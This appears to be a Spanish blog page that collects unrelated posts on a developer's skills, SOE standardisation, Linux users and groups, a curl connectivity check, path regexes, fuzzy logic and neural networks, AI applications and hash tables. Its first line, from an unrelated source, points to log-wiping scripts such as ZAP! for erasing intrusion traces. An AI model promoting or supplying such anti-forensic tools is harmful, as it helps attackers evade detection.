Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.

Consultor Full Stack Agil

Desarrollo de aplicaciones web.

Experiencia en diseño, incluida la creación de planos y estructuras de diseño capacitivo para web y dispositivos móviles.

Conocimiento de patrones de diseño.

Experiencia significativa en desarrollo y entrega con desarrollo de aplicaciones web / móviles de pila completa, con una variedad de lenguajes.

- Perl

- Java

- C++ 

- C# para .NetCore

- Python

- JavaScript

- Swift

- PHP

- HTML5

- CSS3

- JavaScript

- AngularJS,

- React.js

- Vue.js

- JSON

- Cordova

- Ionic


Aplicaciones móviles, nativas e híbridas. (Conseptos)

- Android

- iOS


Microservicios, gestión de API y arquitecturas a escala web

- Fuse

- 3Scale

- Sprinboot

- Quarkus

- Node.js


Tecnologías emergentes como blockchain, AI / ML, etc.

DevOps ingeniería y entrega de aplicaciones

Experiencia en automatización de pruebas para aplicaciones web / móviles.

- Fuertes conocimientos en pielnes de estrategias CI-CD

-- Go

-- Jenkins

-- Ansible

- Jmeter

- Posman

- SoapUI

- TDD

- BDD


Entrega continua basada en contenedores

- Conocimientos en Openshift

-- Docker

-- Kubernetes

-- Estrategia S2I


Automatización en la nube y todo como código

- Aprovisionamiento de infraestructrura en:

-- AWS

-- AZURE

-- Google cloud


Conocimiento de metodologias Aguiles

- Scrum

- DevOps

- Trabajo en equipos ágiles.

- Trabajo con equipos altamente distribuidos.


La capacidad de autoaprendizaje y aprender rápidamente y poner en práctica nuevos temas

Pasión por el software de código abierto


Conocimiento aplicado de trabajar en equipos ágiles, scrum y DevOps

Capacidad para realizar actividades orientadas al cliente en un entorno acelerado con plazos cortos

Trabajo cómodo con equipos altamente distribuidos, incluida la interacción con comunidades de código abierto.

Conocimiento aplicado de pruebas modernas de software y métodos de entrega como TDD, BDD, integración continua y entrega continua

Fuertes habilidades verbales, de escritura y de presentación.

La capacidad de autoaprendizaje y aprender rápidamente y poner en práctica nuevos temas.

Pasión por el software de código abierto

miércoles, 13 de julio de 2022

SOE - Estandarizacion Operativa

 La estandarización de un entorno operativo (SOE) es una implementación estándar de un sistema operativo y su software asociado. Nombres y conceptos asociados incluyen:

  • MOE - Managed Operating Environment
  • COE - Consistent or Common Operating Environment
  • MDE - Managed Desktop Environment
  • DMS - Desktop Managed Services
  • OSP - Operating Sstandar Provider
  • SDE - Standard Desktop Environment
  • SDC - Standard Desktop Configuration
  • UOE - Unmanaged Operating Environment
  • SI - Standard Image

Los administradores normalmente implementan SOE como una imagen de disco estándar para la implementación masiva en varios equipos de una organización.

En SOE se pueden incluir el sistema operativo base, una configuración personalizada, las aplicaciones estándar utilizadas en una organización, las actualizaciones de software y los service packs. Una SOE puede aplicarse a servidores.

La principal ventaja de una SOE en un entorno empresarial es la reducción del costo y el tiempo necesario para implementar, configurar, mantener, soportar y administrar equipos. Al estandarizar las plataformas de hardware y software utilizadas en una organización, un departamento de TI o proveedor de servicios puede implementar nuevos equipos de computo y corregir problemas con los equipos de computo existentes rápidamente. Una solución estandarizada es repetible y automatizada crea un entorno conocido, esperado y soportable. Una solución estandarizada asegura el mantenimiento de resultados conocidos, con la automatización fomentando la velocidad, la repetibilidad y la estandarización.

El proveedor proporcionará las mejores practicas para implementar SOE. con lasas actividades listadas das en los siguientes incisos


Usuarios Linux

 Cuentas de usuario

Las cuentas de usuario son creadas por el administrador que en Unix es un usuario especial llamado root (ver más abajo). Los usuarios deberán pertenecer al menos a un grupo de usuarios ya que obligatoriamente deben tener asignado un Grupo principal o grupo primario. 

Cuando un usuario entra en un sistema Unix, debe identificarse indicando su nombre de usuario (en inglés login) y su contraseña (en inglés password). Si se equivoca al introducir su nombre o su contraseña, el sistema le denegará el acceso y no podrá entrar.

Usuarios normales

  •     Se usan para usuarios individuales.
  •     Cada usuario dispone de un directorio de trabajo, ubicado generalmente en /home.
  •     Cada usuario puede personalizar su entorno de trabajo.
  •     Tienen solo privilegios completos en su directorio de trabajo o HOME.
  •     Por seguridad, es siempre mejor trabajar como un usuario normal en vez del usuario root, y cuando se requiera hacer uso de comandos solo de root, utilizar el comando su.
  •     En las distros actuales de Linux se les asigna generalmente un UID superior a 500.


 

Al crear un usuario en Linux, este recibe un UID (Identificador de Usuario Unico)

Es un ID, un código único para el usuario. Al crear un usuario, a su vez se crea un grupo para ese usuario y un GID (Identificador Único de Grupo) para ese grupo del nuevo usuario.

opciones del comando useradd:

  • -m   crea automáticamente el directorio personal del usuario
  • -g    grupo principal al que añadimos el usuario
  • -G   grupo secundario
  • -d   permite especificar el directorio personal del usuario, que será creado a la vez que el usuario
  • -s   especifica el shell por defecto que utilizará el usuario


Ejemplo de uso de useradd

Crear usuario, asignarlo a un grupo, especificar su directorio personal y el shell a utilizar:

useradd -g grupo1 -d /home/usuario1 -m -s /bin/bash usuario1

Evidentemente, antes de realizar este paso hemos creado el grupo1, de esta forma:

groupadd grupo1


Después asignamos un password a esa nueva cuenta de usuario Linux:

password usuario linux

passwd usuario1

 

Y después de crear el usuario y asignarlo al grupo1 con el comando anterior (useradd -g grupo1), ejecutamos cat /etc/passwd para ver los GID de los grupos en los que se encuentra el nuevo usuario creado:

cat /etc/passwd

Podemos ver que el usuario1 se encuentra en el grupo que tiene asignado el GID 1004 (tanto el grupo primario como el secundario).

Y después ejecutamos cat /etc/group para ver qué grupos corresponden a los GID´s en los que se encuentra el nuevo usuario:

 cat /etc/group


CREACIÓN DE GRUPOS DE USUARIOS EN LINUX

Creamos diversos grupos de usuarios con el comando groupadd:

groupadd grupo1

groupadd grupo2

groupadd grupo3


Con el comando cat /etc/group

comprobamos el GID de los nuevos grupos de usuarios creados (visualizando el contenido del archivo /etc/group):

 Otros COMANDOS para trabajar con Usuarios y grupos Linux

id

Para ver los datos relativos a un usuario podemos ejecutar el comando

id nombreusuario

o directamente

id

y veremos los datos del usuario actual.

 Ejemplo:

Podemos ver que si tecleamos:

id usuario1

veremos los datos del usuario1: su UID, el GID y el nombre del grupo al que pertenece dicho usuario, y los grupos en los que se encuentra incluido (en este caso solo se encuentra en el grupo con GID 1004, llamado grupo1)

 También vemos que el usuario root posee el UID 0. Al igual que su GID es 0. A la cuenta root siempre se le asigna el UID 0.

whoami

Para ver qué usuario estamos utilizando (mostrar el nombre de usuario):

whoami

Containers notes

* Press Release: http://red.ht/2oYefdY

* Blog on Security Scoring: https://access.redhat.com/blogs/product-security/posts/container-security-scoring

* Red Hat Container Catalog: https://access.redhat.com/containers

* RHCC Get Started Guide: https://access.redhat.com/articles/2959661

* RHCC internal release notes: https://mojo.redhat.com/docs/DOC-1100764

* RHCC internal landing page:  https://mojo.redhat.com/docs/DOC-1128909

* Customer facing slidedeck: https://docs.google.com/a/redhat.com/presentation/d/1xCP23-q7X8VuWyHYlagjiKnyDoXY-_A_CdCUTsSKmsw/edit?usp=sharing

* RHCC roadmap draft: https://mojo.redhat.com/docs/DOC-1133822 

miércoles, 12 de agosto de 2020

Network Test

For validate networ end point:

case "$(curl -s --max-time 2 -I https://[-- IP end point ---]/ | sed 's/^[^ ]* *\([0-9]\).*/\1/; 1q')" in [23]) echo "HTTP connectivity is up";; 5) echo "The web proxy won't let us through";; *) echo "The network is down or very slow";; esac

Expresiones regulares

#### File system ####
^(?:[a-zA-Z]\:|\\\\[\w\.]+\\[\w.$]+)\\(?:[\w]+\\)*\w([\w.])+$

^\/$|(^(?=\/)|^\.|^\.\.)(\/(?=[^/\0])[^/\0]+)*\/?$

^\\{2}[\w-]+(\\{1}(([\w-][\w-\s]*[\w-]+[$$]?)|([\w-][$$]?$)))+


Ruta Linux PATH
^(\/?(((\w)|(\.))+\/?)*((\w)|(\.))+)\/?(?=$)

domingo, 9 de agosto de 2020

Fundamentos de logica difusa

Aspecto 1: Explica las características de la lógica difusa.

La logica difusa es una extension de la logica tradicional (Booleana) que utiliza conceptos de pertenencia de sets mas parecidos a la manera de pensar humana 

• El concepto de un subset difuso fue introducido por L.A. Zadeh en 1965 como una generalización de un subset exacto (crisp subset) tradicional.

• Los subsets exactos usan lógica Booleana con valores exactos como por ejemplo la lógica binaria que usa valores de 1 o 0 para sus operaciones

La lógica difusa no usa valores exactos como 1 o 0 pero usa valores entre 1 y 0 (inclusive) que pueden indican valores intermedios (Ej. 0, 0.1, 0.2, …,0.9,1.0, 1.1, …etc)

• La lógica difusa también incluye los valores 0 y 1 entonces se puede considerar como un superset o extensión de la lógica exacta.

Aspecto 2: Describe los elementos que conforman a las redes neurales artificiales.

Las Redes Neuronales se encuentran inspiradas en el comportamiento conocido del cerebro humano (principalmente el referido a las neuronas y sus conexiones), trata de crear modelos artificiales que solucionen problemas difíciles de resolver mediante técnicas algorítmicas convencionales. 

Las redes neuronales artificiales (RNA) son aplicadas en diversos ámbitos de la actividad humana. Una de sus aplicaciones es como herramienta de análisis de información, específicamente dentro de la Bibliometría. En este trabajo se hace una introducción sobre las particularidades de las RNA, específicamente las basadas en el modelo Kohonen (Mapas auto-organizativos). Se exponen los elementos que la integran y se vincula su principio de funcionamiento con la Bibliometría. Se utiliza y caracteriza un software llamado Viscovery SOMine que retoma, para su funcionamiento, el concepto y los algoritmos de los mapas auto-organizativos. Se ejemplifica la utilidad de las RNA, dentro de la Bibliometría, a través de casos prácticos.

Una red neuronal artificial (RNA) se puede definir (Hecht – Nielssen 93) como un grafo dirigido con las siguientes restricciones:

-  Los nodos se llaman elementos de proceso (EP).

-  Los enlaces se llaman conexiones y funcionan como caminos unidireccionales instantáneos

-  Cada EP puede tener cualquier número de conexiones.

-  Todas las conexiones que salgan de un EP deben tener la misma señal.

-  Los EP pueden tener memoria local.

-  Cada EP posee una función de transferencia que, en función de las entradas y la memoria local produce una señal de salida y / o altera la memoria local.

-  Las entradas a la RNA llegan del mundo exterior, mientras que sus salidas son conexiones que abandonan la RNA.


Aspecto 3: Explica las características de los algoritmos genéticos.


Los Algoritmos Gen´eticos (AGs) son m´etodos adaptativos que pueden usarse para resolver problemas de busqueda ´ y optimizaci´on. Est´an basados en el proceso gen´etico de los organismos vivos. A lo largo de las generaciones, las poblaciones evolucionan en la naturaleza de acorde con los principios de la selecci´on natural y la supervivencia de los m´as fuertes, postulados por Darwin (1859).

Por imitaci´on de este proceso, los Algoritmos Gen´eticos son capaces de ir creando soluciones para problemas del mundo real. La evoluci´on de dichas soluciones hacia valores optimos ´ del problema depende en buena medida de una adecuada codificaci´on de las mismas.

Los principios b´asicos de los Algoritmos Gen´eticos fueron establecidos por Holland (1975), y se encuentran bien descritos en varios textos – Goldberg (1989), Davis (1991), Michalewicz (1992), Reeves (1993)

Los algoritos conocidos son:

- El Algoritmo Genetico Simple

- Extensiones y Modificaciones del AGS

-- Poblaciones

-- Función oibjeto

-- Seleccion

-- Cruce

-- Mutacion

-- Reduccion

-- Geneticos paralelos


Referencias:

[1] Yager, R., Filev, D., Essentials of Fuzzy Modeling and Control, Wiley Interscience, NY, 1994

[2] Kartalopoulos, S., Understanding Neural Networks and Fuzzy Logic, IEEE PRESS, NY, 1994

[3] D.H. Ackley (1987). A Connectionist Machine for Genetic Hillclimbing, Kluwer Academic Publishers.

[4] J.T. Alander (1992). On optimal population size of genetic algorithms. Proceedings CompEuro 1992, Computer Systems and Software Engineering, 6th Annual European Computer Conference, 65-70.

[5]] B.K. Ambati, J. Ambati, M.M. Mokhtar (1991). Heuristic combinatorial optimization by simulated Darwinian evolution: A polynomial time algorithm for the traveling salesman problem, Biological Cybernetics, 65, 31-35.

[6] J.E. Baker (1987). Reducing bias and inefficiency in the selection algorithm. Proceedings of the Second International Conference on Genetic Algorithms and Their Applications, 14-21.

[7] W. Banzhaf (1990). The “molecular” traveling salesman, Biological Cybernetics, 64, 7-14.

jueves, 6 de agosto de 2020

La IA y sus aplicaciones

Tipos de aplicaciones usadas en la inteligencia artificial.

La IA para:

  • Representación del estado de la naturaleza: que busca en el descubrimiento de métodos expresivos y que describan eficientemente aspectos del mundo real.
  • Metodos de auto-aprendizaje: que aportan una capacidad de identificación de un amplio rango de tendencias generales a partir de un conjunto de datos de entrenamiento.
  • Planificacion y toma de deciciones: Apartir de algoritmos que construyen y ejecutan automáticamente secuencias de comandos base con el fin de alcanzar ciertas metas de alto nivel.
  • Patrones y Razonamiento: Que hacen uso de principios estadísticos para desarrollar codificaciones de información incierta.
  • Diseño y creación de agentes: Integración de la IA con otras areas con el objeto de crear agentes inteligentes, entidades robustas capaces de comportamiento autónomo y en tiempo real.
  • La coordinación y ejecucuion de multiagentes: Para generación de técnicas para la representación de las capacidades de otros agentes y la especificación del conocimiento necesario para la colaboración entre ellos.
  • Ontologías: Para la creación de catálogos de conocimiento explícito, formal y multipropósito, para manejo de sistemas inteligentes.
  • Procesamiento de voz y lenguaje: Que si objetivo es ofrecer sistemas que se comunican con la gente en su lenguaje.
  • Comprensión de imágenes, Que apoya a la producción de algoritmos para el análisis de fotografías, diagramas, videos y el despliegue visual de información cuantitativa y estructurada.
  • Gestión y control: análisis inteligente, fijación de objetivos.
  • Fabricación: diseño, planificación, programación, monitorización, control, gestión de proyectos, robótica simplificada y visión computarizada.
  • Educación: adiestramiento práctico, exámenes y diagnóstico.
  • Ingeniería: diseño, control y análisis.
  • Equipamiento: diseño, diagnóstico, adiestramiento, mantenimiento, configuración, monitorización y ventas.
  • Cartografía: interpretación de fotograf ías, diseño, resolución de problemas cartográficos.
  • Profesiones: abogacía, medicina, contabilidad, geología, química.
  • Software: enseñanza, especificación, diseño, verificación, mantenimiento.
  • Sistemas de armamento: guerra electrónica, identificación de objetivos, control adaptativo, proceso de imágenes, proceso de señales.
  • Proceso de datos: educación, interfase en lenguaje natural, acceso inteligente a datos y gestores de bases de datos, análisis inteligente de datos.
  • Finanzas: planificación, análisis, consultoría.
  • Planificación: gestión de activo y pasivo, gestión de cartera, análisis de créditos y préstamos, contratos, programación de trabajos de taller, gestión de proyectos, planificación de experimentos, producción de tarjetas de circuito impreso.
  • Interfaces inteligentes: hardware (fiscal) de instrumentación, programas de computadora, bases de datos múltiples, paneles de control.
  • Sistemas de lenguaje natural: interfaces con bases de datos en lenguaje natural, gestión de impuestos (ayudas para contabilidad), consultoría en temas legales, planificación de fincas, consultoría de sistemas bancarios.
  • Sistemas de diseño: integración de microcircuitos en muy alta escala, síntesis de circuitos electrónicos, plantas químicas, edificios, puentes y presas, sistemas de transporte.
  • Sistemas de visión computarizada: selección de piezas y componentes, ensamblado, control de calidad.
  • Desarrollo de software: programación automática.
  • Configuración: selección de distribución de los componentes de un sistema de computación.
  • Diagnosis: hardware informático, redes de ordenadores, equipos mecánicos, problemas médicos, averías telefónicas, instrumentación electrónica, circuitos electrónicos, averías automovilísticas.
  • Interpretación y análisis: datos geológicos para prospección petrolífera, compuestos químicos, análisis de señales, problemas matemáticos complejos, evaluación de amenazas militares, análisis de circuitos electrónicos, datos biológicos (coronarios, cerebrales y respiratorios), información de radar, sonar e infrarrojos.
  • Monitorización: equipos, monitorización de procesos, fabricación y gestión de procesos científicos, amenazas militares, funciones vitales de pacientes hospitalizados, datos financieros en tiras de papel perforado por teleimpresora, informes industriales y gubernamentales.


3 aplicaciones que empleen la inteligencia artificial en la industria.

Asistenties


Asistentes: Los asistentes de IA como: Alexa, Google Assistant, Siri, incluso Cortana entre otros; son cada vez más habituales. presentan a cada año una mejora con respecto al uso de sus algoritmos de autoaprendizaje y toma de deciciones, pero aún les queda mucho por evolucionar hasta ofrecer conversaciones más naturales, fluidas y si se puede decir, "humanas".
Un rasgo en este sentido es el uso de las emociones. Un rasgo muy humano que se puede trasladar a las conversaciones y que ahora Amazon estaría intentando exportar a Alexa con el objetivo que su asistente pueda empezar a sonar un poco menos robótica en las interacciones con los usuarios.


En la medicina

Como vemos, la Inteligencia Artificial puede aplicarse de muchas maneras diferentes, pero la mejor forma de entender su uso potencial en la atención médica es dividir sus aplicaciones en tres categorías:

  1. Soluciones algorítmicas:  Para enfoques que tienen como base la evidencia, programados por investigadores y clínicos. Cuando los humanos integran datos conocidos en algoritmos, los ordenadores pueden extraer información y aplicarla a un problema. P.e: La evolución de la Esclerosis Múltiple, desarrollo de vacunas. Utilizando algoritmos en consenso con expertos en el campo, junto con los datos existentes en la historia clínica informatizada, se pueden revisar numerosas alternativas de tratamiento y recomendar la combinación más adecuada para un paciente concreto.
  2. Tratamiento de imágenes: Actualmente entre el 50% y el 63% de las mujeres de EE. UU. que se realizan mamografías regulares durante 10 años recibirán al menos un “falso positivo”. Es decir, el resultado de la prueba indica erróneamente la posibilidad de cáncer, por lo que se requieren pruebas adicionales y, a veces, procedimientos innecesarios. Además, hasta en un tercio del tiempo, dos o más radiólogos que examinan la misma mamografía no estarán de acuerdo en la interpretación de los resultados. Se estima que el software de reconocimiento de patrones visuales, que puede almacenar y comparar decenas de miles de imágenes utilizando las mismas técnicas heurísticas que los humanos, es entre un 5% y un 10% más preciso que el médico promedio. Y se espera que la brecha de precisión entre el ojo humano y el digital se amplíe aún más en poco tiempo. 
  3. Herramientas de apoyo a la práctica médica: El Procesamiento del Lenguaje Natural, una rama de la IA que ayuda a las máquinas a comprender e interpretar el habla y la escritura humana. Este software puede revisar miles de registros médicos electrónicos completos y dilucidar los mejores pasos para evaluar y administrar un tratamiento a pacientes con diferentes enfermedades. El uso de ordenadores para observar y aprender de los médicos en su desempeño habitual. Bisepro vuelve a ser un buen ejemplo. En lugar de extraer y analizar los datos de forma retrospectiva, esta herramienta sigue lo que hacen los médicos paso a paso. Con la incorporación por parte del profesional de los datos del paciente en la historia clínica informatizada, Bisepro analiza en tiempo real toda esta información para ofrecer de forma anticipada una alerta y sugerir un posible tratamiento personalizado. En este caso, los falsos positivos se reducen a la mitad y su efectividad es máxima.

Control Aereo 

Los nuevos sistemas de control aereo basados en IA ofrecen ahorros que pueden alcanzar el 50%, al eliminar los costes ligados a la construcción de la torre física e incrementar por otra parte la eficiencia en la explotación operativa, principalmente mediante el balanceo de carga de trabajo en sistemas ‘multi-aeropuerto’ y son soluciones que incorporan funciones basadas en inteligencia artificial para ejecutar procesos críticos de control aéreo sin necesidad de intervención humana usando arquitecturas avanzadas de Deep Learning, entrenadas para llevar a cabo múltiples procesos operativos mediante visión artificial autónoma.


¿Cuáles son los beneficios de la inteligencia artificial?


Al ser la IA uno o multiples sistemas que interactúan con la gente se debe “razonar” sobre lo que las personas piensan, en lugar de llevar a cabo los comandos de manera literal. Un sistema de inteligencia artificial no sólo debe cumplir con un conjunto de reglas “precargadas”, sino que debe analizar y comprender si el comportamiento del ser humano que le da una orden, es probable que sea juzgado como "normal" o "razonable" por la mayoría de la gente. Debe también estar continuamente monitoreado interna y externamente para detectar comportamientos anormales, que pueden indicar errores, ataques cibernéticos o fallas en la comprensión de sus acciones. De esta forma los beneficions tienen un gran potencial desde la industria hasta la vida diaria como en la industria de la medicina ayuda a los hospitales y médicos a identificar con mayor precicion qué pacientes están en mayor riesgo de complicaciones y los algoritmos de IA son los que pueden encontrar patrones correctos entre los datos masivos que se poseen y reciben o incluso en los resultados de sus búsquedas: desde las predicciones de tráfico hasta la recomendación de libros y películas. La IA traduce idiomas en tiempo real y acelera el funcionamiento de nuestros portátiles adivinando lo que haremos a continuación. Varias compañías como Google, BMW y Tesla, están trabajando para proveernos de coches que pueden conducirse a sí mismos, con supervisión humana parcial o totalmente autónomos.


Referencias: 
  • https://www.uv.mx/cienciahombre/revistae/vol17num3/articulos/inteligencia/
  • https://www.xatakahome.com/domotica/ia-clave-amazon-hace-que-alexa-pueda-ofrecer-respuestas-emocionales-cuando-nos-habla
  • Cumbre Mundial AI for Good 2017 - https://www.itu.int/en/itunews/Documents/2018/2018-01/2018_ITUNews01-es.pdf
  • https://www.iic.uam.es/lasalud/realidad-inteligencia-artificial-salud/
  • https://www.hosteltur.com/134743_la-primera-torre-digital-remota-basada-en-ia-es-de-tecnologia-espanola.html
  • Gevarter, M. (1987). Máquinas inteligentes. Madrid: Díaz de Santos, S.A.
  • Negrete, J. (1992). De la filosofía a la inteligencia artificial. México: Grupo Noriega Editores.
  • Rauch-Hindin, W.B. (1989). Aplicaciones de la inteligencia artificial en la actividad empresarial, la ciencia y la industria. Madrid: Díaz de Santos, S.A.

sábado, 29 de septiembre de 2018

Tablas hash

¿Que es una tabla hash?


Una tabla hash  es una estructura de datos que se usan en aplicaciones que manejan una secuencia de elementos, de forma que cada elemento tiene asociado un valor clave.
Aceleran el proceso de búsqueda de un registro de información según una clave.
provee de un acceso casi directo a dichos registros,  en promedio, una búsqueda puede llegar a requerir sólo uno o dos intentos en la memoria o el archivo que contiene la información.

¿Cómo funciona una tabla hash?


Para usar una tabla hash se necesita:
Una estructura de acceso directo (normalmente un array). 
Una estructura de datos con una clave 
Una función resumen (hash) cuyo dominio sea el espacio de claves y su imagen (o rango) los números naturales.

Las operaciones básicas implementadas en una tabla hash


      Buscar( Tabla t, clave x) 
      Devuelve el elemento de la tabla T[h(x)]
  
  Insertar (Tabla t, elemento k)
      Añade el elemento k, T[h(clave(k)] <-- k
  
  Eliminar (Tabla t, clave x)
      Retira de la tabla el elemento con clave x, T[h(x)] <-- Libre

Las tablas hash se diseñan considerando el problemas de las colisiones esto es dada dos claves distintas x1 , x2, se obtenga la misma dirección o índice, h(x1)=h(x2).

Convierte el dato considerado campo clave (tipo entero o cadena de caracteres) en un índice dentro del rango de definición del array que almacena los elementos.

   h(x): K  --> L
   K : conjunto de claves
   L: conjunto de direcciones de memoria
   
Algunas  aplicaciones de las funciones hash

Identificar algún archivo de computadora independientemente de su nombre o ubicación lo cual es usado en redes P2P o Peer to peer (intercambio de archivos punto a punto) tales como Kazaa, Ares Galaxy, Overnet, BitTorrent, entre otras. 
Identificar un registro en una base de datos y permitir con ello un acceso más rápido a los registros (incluso más rápido que teniendo índices). 

Factor de carga


El parámetro que mide la proporción entre el número de elementos almacenados, n, en una tabla hash y el tamaño de la tabla, m, se denomina factor de carga     λ = n/m. se recomienda elegir m de tal forma que el factor de carga sea  λ ≤ 0.8


Aritmética Modular


h (x)=x modulo m

Genera valores dispersos calculando el resto de la división entera entre la clave x (puede ser una cadena) y el tamaño de la tabla m.
Es recomendable que el tamaño “m” de la tabla sea un número primo mayor, pero cercano al numero de “n” de elementos que se tienen previsto que almacene la tabla.

Ejemplo:

Registros a almacenar n= 900,  campo clave elegido:  número de identificación, elegir el tamaño de la tabla hash y calcular la posición que ocupan los elementos cuyo num. de identificación es: 245643 245981 257135

Solución:


Se toma m = 997 al ser este un num. primo próximo y tiene factor de carga (n/m) aprox. 0.8, se aplica la función de hash de aritmética modular y se obtienen la sig. Direcciones:
h(245646)= 245643/997 = 381
h(245981) = 245981/997 =719
h(257135)= 257135/ 997 = 906

Plegamiento


Técnica que  consiste en partir la clave x en varias partes: x1,x2 … xn. La combinación de las partes de un modoconveniente ( ejem. sumando las partes) da como resultado la dirección del registro, la función hash se define:

h(x)=x1 + x2 +…+xn

Mitad del cuadrado


Consiste en calcular el cuadrado de la clave “x” y luego extraer de este resultado los dígitos que se encuentran en ciertas posiciones, el num. de dígitos a extraer depende del rango de dispersión que se quiera obtener.
Utilizar las mismas posiciones de extracción para todas las claves.

Ejemplo:


Se calculan las direcciones para las claves del ejemplo anterior para:

245643, h(245643) = 483  paso a paso
245643 --> 245643^2 --> 60340483449 --> (dígitos 4,5,y 6 por la derecha) 483

Se repite el procedimiento para las demás claves.

Método de la multiplicación


Genera la dirección de una clave en tres pasos.
Multiplica la clave x por una constante real  0 < R < 1
Determina la parte decimal “d” del num. obtenido en la multiplicación R*x
Multiplica el tamaño de la tabla “m”, por “d”  y al truncarse el resultado se obtiene un num. entero en el rango 0… m-1 que será la dirección dispersa.

Ejemplo:


Tomado a R = 0.6180334, por ejemplo con la clave x =  245981,  m = 1000, la dirección se obtiene de la sig. manera

R * x: 0.6180334 * 245981 --> 152024.4738
d = 152024.4738 – ParteEntera(152024.4738) --> 0.4738
h(245981): 1000 * 0.4738 --> ParteEntera (473.8) --> 473

Este método tiene dos características:
Dos claves con los dígitos permutados, no tienen mayor probabilidad de generar una colisión.
Dos valores de claves numéricas muy próximas, generan direcciones dispersas que pueden estar muy separadas.

Colisiones y resolución de colisiones


Se considerarán dos métodos para resolver colisiones: la exploración de direcciones y el direccionamiento enlazado.

Exploración de direcciones

Inicializar las posiciones de la tabla a un valor que indique vacío, por ejemplo, null.
Se utilizan cuando todos los elementos colisionados o no, se almacenan en una tabla.
Se explora consecutivamente en una secuencia de direcciones hasta que se encuentre una posición libre, métodos involucrados: insertar, búsqueda, eliminar.

Exploración lineal


Fácil de implementar, pero tiene un inconveniente, el agrupamiento de elementos de la tabla.
Sea “p” la dirección que devuelve la función hash, si “p” ya esta ocupada entonces se buscar la primera posición disponible que siga a “p”.
La secuencia de exploración es lineal: p, p+1 … m-1. La tabla se considera circular.

Ejemplo usando exploración lineal


Se tienen 9 elementos: x1, x2,..,x9 la función de dispersión les genera las sig. Direcciones:
Elementos:   x1    x2    x3   x4    x5    x6    x7    x8   x9
h(x):              5      8     11    9      5     7      8      6    14

Aplicando exploración lineal son:
Elementos:   x1    x2    x3   x4    x5    x6    x7    x8   x9
Posición:       5      8      11   9     6       7    10    12  14

Exploración cuadrática:


Es una alternativa para evitar al agrupamiento de los elementos
Sea “p” la dirección que devuelve la función hash, si “p” ya esta ocupada entonces se buscan las direcciones p, p+1, p+4, p+9 … p+i^2, considerando la tabla como un array circular, i = 1, 2, 3 …

Ejemplo usando exploración cuadrática:


Se tienen 9 elementos: x1, x2,..,x9, el tamaño de la tabla es 17, la función de dispersión les genera las sig. Direcciones:
Elementos:   x1    x2    x3   x4    x5    x6    x7    x8   x9
h(x):              5      8     10    8      5    11     6      7     7

Al aplicar la exploración cuadrática queda:
Elementos:   x1    x2    x3   x4    x5    x6    x7    x8   x9
Posición:       5      8     10    9     6     11     7     16   15

Doble dirección dispersa


Si en el intento de insertar o buscar, se produce una colisión, entonces  se obtiene otro desplazamiento con otra función hash, h’(x) = p’.
La secuencia de exploración p, p+p’, p+2p’, p+3p’ … se inspecciona hasta encontrar una posición libre para insertar, el elemento buscado.

Direccionamiento enlazado


Una alternativa a la secuencia de exploración
Se basa en utilizar lista enlazadas ( cadenas de elementos) de tal forma que en cada lista de colocan los elementos que tienen la misma dirección hash.

Resumen tablas hash


Las tablas hash son estructuras de datos para la cuales la complejidad de las operaciones básicas: insertar, buscar y eliminar es constante.
La correspondencia entre un elemento y el índice de la tabla se hace con las funciones de transformación de claves.
Siempre existe la posibilidad de que colisionen dos claves.
Dos criterios deben seguirse al elegir una función hash h(x).
Que la complejidad de la función h(x) sea constante y fácil de evaluar.
h(x)  debe distribuir uniformemente las direcciones sobre el conjunto de índices posibles, de forma que se minimice el número de colisiones.